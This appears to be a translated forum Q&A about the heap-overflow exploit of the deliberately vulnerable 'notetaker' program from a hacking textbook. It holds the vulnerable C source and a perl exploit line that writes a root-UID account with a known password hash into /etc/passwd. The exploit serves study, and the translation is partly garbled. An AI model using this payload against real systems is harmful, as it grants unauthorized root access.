c - Notetaker 漏洞利用问题

Question

此问题涉及《黑客:利用的艺术》一书第 155 页上的一个利用。此处，Notetaker 程序用于将具有 root 权限的条目附加到/etc/passwd 文件中。Notetaker.c 的代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

void usage(char *prog_name, char *filename) {
   printf("Usage: %s <data to add to %s>\n", prog_name, filename);
   exit(0);
}

void fatal(char *);            // a function for fatal errors
void *ec_malloc(unsigned int); // an errorchecked malloc() wrapper

int main(int argc, char *argv[]) {
   int userid, fd; // file descriptor
   char *buffer, *datafile;

   buffer = (char *) ec_malloc(100);
   datafile = (char *) ec_malloc(20);
   strcpy(datafile, "/var/notes");

   if(argc < 2)                // If there aren't commandline arguments
      usage(argv[0], datafile); // display usage message and exit

   strcpy(buffer, argv[1]);  // copy into buffer

   printf("[DEBUG] buffer   @ %p: \'%s\'\n", buffer, buffer);
   printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);

 // Opening the file
   fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
   if(fd == -1)
      fatal("in main() while opening file");
   printf("[DEBUG] file descriptor is %d\n", fd);

   userid = getuid(); // get the real user ID

// Writing data
   if(write(fd, &userid, 4) == -1) // write user ID before note data
      fatal("in main() while writing userid to file");
   write(fd, "\n", 1); // terminate line

   if(write(fd, buffer, strlen(buffer)) == -1) // write note
      fatal("in main() while writing buffer to file");
   write(fd, "\n", 1); // terminate line

// Closing file
   if(close(fd) == -1)
      fatal("in main() while closing file");

   printf("Note has been saved.\n");
   free(buffer);
   free(datafile);
}

通过/tmp/etc/passwd 创建到/bin/bash 的软链接(soft link)“密码”作为默认密码给出，盐 XX--XXq2wKiyI43A2并且用户 ID 被指定为 0- 以获得 root 权限。漏洞利用如下:

$ ./notetaker $(perl -e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x68 .
":/root:/tmp/etc/passwd"')

当我尝试这个时，我得到的只是一个 fatal error ，同时打开文件说权限被拒绝。它在书中似乎工作得很好，因为 $tail/etc/passwd 通过这个提供 root 访问权限的漏洞显示了新条目。请帮忙。

Answer 1

你需要阅读第二章。它显示您通过 chown 和 chmod u+s 将所有者更改为 root。第 93 页。